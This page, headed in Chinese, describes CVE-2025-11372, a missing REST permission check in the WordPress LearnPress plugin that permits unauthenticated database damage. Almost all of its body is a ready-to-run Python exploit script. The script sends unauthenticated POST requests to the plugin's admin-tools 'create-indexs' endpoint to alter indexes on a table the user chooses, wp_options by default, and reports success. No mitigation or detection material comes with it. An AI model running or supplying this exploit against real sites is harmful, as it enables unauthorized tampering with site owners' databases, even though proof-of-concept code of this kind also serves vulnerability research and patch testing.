CVE-2025-11372：LearnPress插件REST接口权限缺失导致未授权数据库破坏

#!/usr/bin/env python3 """ CVE-2025-11372 - LearnPress Plugin Unauthenticated REST API Exploit Vulnerability: Missing capability checks on Admin Tools REST endpoints """ import requests import sys import argparse def exploit(target_url, table_name="wp_options"): """ Exploit the missing permission check on LearnPress admin tools REST endpoint. The permission_callback is set to __return_true, allowing unauthenticated access. """ endpoint = f"{target_url.rstrip('/')}/wp-json/lp/v1/admin/tools/create-indexs" # Payload to trigger index operations on specified table payload = { "table": table_name, "index_data": [ { "column": "option_name", "index_name": "exploit_index_1", "action": "create" } ] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11372)" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Exploit successful! Index operation executed.") return True else: print("[-] Exploit may have failed. Check response.") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-11372 PoC") parser.add_argument("target", help="Target WordPress URL (e.g., https://example.com)") parser.add_argument("--table", default="wp_options", help="Database table to target") args = parser.parse_args() exploit(args.target, args.table)